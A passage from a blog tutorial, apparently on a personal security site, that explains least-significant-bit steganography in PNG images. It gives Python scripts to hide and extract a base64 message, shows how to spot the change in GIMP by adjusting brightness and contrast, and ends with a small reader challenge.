class="nb">str</span><span class="p">(</span><span class="n">g_new_last_bit</span><span class="p">),</span><span class="mi">2</span><span class="p">)</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="k">if</span> <span class="n">i</span><span class="o">&lt;</span><span class="nb">len</span><span class="p">(</span><span class="n">bit_array</span><span class="p">):</span> <span class="c1">#Blue pixel </span> <span class="n">b_bit</span> <span class="o">=</span> <span class="nb">bin</span><span class="p">(</span><span class="n">b</span><span class="p">)</span> <span class="n">b_last_bit</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">b_bit</span><span class="p">[</span><span class="o">-</span><span class="mi">1</span><span class="p">])</span> <span class="n">b_new_last_bit</span> <span class="o">=</span> <span class="n">b_last_bit</span> <span class="o">&amp;</span> <span class="n">bit_array</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="n">new_bit_blue_pixel</span> <span class="o">=</span> <span class="nb">int</span><span class="p">(</span><span class="n">b_bit</span><span class="p">[:</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span><span class="o">+</span><span class="nb">str</span><span class="p">(</span><span class="n">b_new_last_bit</span><span class="p">),</span><span class="mi">2</span><span class="p">)</span> <span class="n">i</span> <span class="o">+=</span> <span class="mi">1</span> <span class="n">pixels</span><span class="p">[</span><span class="n">x</span><span class="p">,</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">new_bit_red_pixel</span><span class="p">,</span><span class="n">new_bit_green_pixel</span><span class="p">,</span><span class="n">new_bit_blue_pixel</span><span class="p">)</span> <span class="k">print</span><span class="p">(</span><span class="s">"[+] </span><span class="se">\t</span><span class="s">After: (</span><span class="si">%</span><span class="s">d,</span><span class="si">%</span><span class="s">d,</span><span class="si">%</span><span class="s">d)"</span><span class="o">%</span><span class="p">(</span><span class="n">new_bit_red_pixel</span><span class="p">,</span><span class="n">new_bit_green_pixel</span><span class="p">,</span><span class="n">new_bit_blue_pixel</span><span class="p">))</span> <span class="n">im</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="s">'lsb_spongebob.png'</span><span class="p">)</span> </code></pre></div></div> <p>What this script does is actually pretty simple. For each color channel of each pixel of the first row, the script extracts the least significant bit and replaces it by the result of the logical operation <strong>&amp;</strong> between <em>the current least significant bit</em> and <em>the bit stored at index [i] in bit_array</em>. Once the message is fully written, remaining pixels on the row are replaced by white pixels(255,255,255).</p> <p>I’ve also added some debugging outputs which are useful in order to illustrate the changes that are being made.</p> <p>This script only works for hiding short messages in the first row of the picture. It’s not optimized at all so you’ll probably write a better one but you get the idea.</p> <h2 id="detection">Detection</h2> <p>If everything went well, our message is now hidden inside “lsb_spongebob.png”. We will now study one specific method allowing us to detect such steganography techniques. There are many others which have a more mathematical approach but, since it’s not my speciality, I won’t mention them here.</p> <h3 id="all-about-contrast">All about contrast</h3> <p>The technique I’ll present you is very manual. It consists in playing with <strong>brightness</strong> and <strong>contrast</strong> parameters in your favorite (GNU) Image Manipulation Program, in order to spot certain irregularities. Nothing better than a concrete example. I personally use GIMP for this purpose.</p> <ul> <li>Let’s open “lsb_spongebob.png” with GIMP and open the <strong>Brightness-Contrast</strong> box under <strong>Colors</strong> menu.</li> <li>Set brightness to its minimum value and contrast to its maximum value.</li> <li>Zoom in and scan for irregularities.</li> <li>On the top left, you should see something like that:</li> </ul> <p><img src="/assets/2018-08-12/lsb_detection.png" alt="LSB Detection" title="LSB Detection" /></p> <p>That’s really suspicious because every pixel should be white in this area.</p> <p>This technique is not 100% reliable but pretty straight-forward and simple.</p> <p>Once we’ve located the suspected hidden message, we can proceed to the extraction.</p> <h2 id="extraction">Extraction</h2> <p>We’ve detected LSB steganography inside a picture! But how can we recover the message? Simple! We have to extract the LSBs from each pixel and then assemble the result as a string.</p> <p>Once again, I recommand you to write your own script because it’s the only way to make sure everything is clear in your mind. In case you encounter difficulties, you can always take inspiration from mine.</p> <h3 id="python-my-love">Python my love</h3> <p>We know that the secret is hidden in the first row, so it’s useless to iterate over the whole picture with our script.</p> <div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c1">#coding: utf-8 </span><span class="kn">import</span> <span class="nn">base64</span> <span class="kn">from</span> <span class="nn">PIL</span> <span class="kn">import</span> <span class="n">Image</span> <span class="n">image</span> <span class="o">=</span> <span class="n">Image</span><span class="o">.</span><span class="nb">open</span><span class="p">(</span><span class="s">"lsb_spongebob.png"</span><span class="p">)</span> <span class="n">extracted</span> <span class="o">=</span> <span class="s">''</span> <span class="n">pixels</span> <span class="o">=</span> <span class="n">image</span><span class="o">.</span><span class="n">load</span><span class="p">()</span> <span class="c1"># Iterate over pixels of the first row </span><span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span><span class="n">image</span><span class="o">.</span><span class="n">width</span><span class="p">):</span> <span class="n">r</span><span class="p">,</span><span class="n">g</span><span class="p">,</span><span class="n">b</span> <span class="o">=</span> <span class="n">pixels</span><span class="p">[</span><span class="n">x</span><span class="p">,</span><span class="mi">0</span><span class="p">]</span> <span class="c1"># Store LSB of each color channel of each pixel </span> <span class="n">extracted</span> <span class="o">+=</span> <span class="nb">bin</span><span class="p">(</span><span class="n">r</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">extracted</span> <span class="o">+=</span> <span class="nb">bin</span><span class="p">(</span><span class="n">g</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">extracted</span> <span class="o">+=</span> <span class="nb">bin</span><span class="p">(</span><span class="n">b</span><span class="p">)[</span><span class="o">-</span><span class="mi">1</span><span class="p">]</span> <span class="n">chars</span> <span class="o">=</span> <span class="p">[]</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">extracted</span><span class="p">)</span><span class="o">/</span><span class="mi">8</span><span class="p">):</span> <span class="n">byte</span> <span class="o">=</span> <span class="n">extracted</span><span class="p">[</span><span class="n">i</span><span class="o">*</span><span class="mi">8</span><span class="p">:(</span><span class="n">i</span><span class="o">+</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="mi">8</span><span class="p">]</span> <span class="n">chars</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">([</span><span class="nb">str</span><span class="p">(</span><span class="n">bit</span><span class="p">)</span> <span class="k">for</span> <span class="n">bit</span> <span class="ow">in</span> <span class="n">byte</span><span class="p">]),</span> <span class="mi">2</span><span class="p">)))</span> <span class="c1"># Don't forget that the message was base64-encoded </span><span class="n">flag</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="s">''</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">chars</span><span class="p">))</span> <span class="k">print</span> <span class="n">flag</span> </code></pre></div></div> <h2 id="your-turn">Your Turn!</h2> <p>To make this tutorial a bit funnier, I’ve slightly modified <a href="/assets/2018-08-12/lsb_spongebob.png">lsb_spongebob.png</a> and I’ve hidden a different message inside. Will you be able to recover it? :wink:</p> <p>Maybe this one isn’t exactly in the same place… :smiling_imp:</p> <p>Feel free to send me your result or to post it in the comment section! Good luck!</p> <h3 id="resources">Resources</h3> <ul> <li><a href="/assets/2018-08-12/spongebob.png">original picture (spongebob.png)</a></li> <li><a href="/assets/2018-08-12/lsb_spongebob.png">modified picture (lsb_spongebob.png)</a></li> <li><a href="/assets/2018-08-12/hide_message.py">hide_message.py</a></li> <li><a href="/assets/2018-08-12/unhide_message.py">unhide_message.py</a></li> </ul> <p id="signature">BoiteAKlou :hammer:</p>BoiteAKlouThis article details a common steganography method known as the Least Significant Bit. This technique is very efficient because of its simplicity and its ability to be undetectable to the naked eye. After reading this, you’ll be able to hide a message inside a picture using this technique, but also to detect any dissimulated message.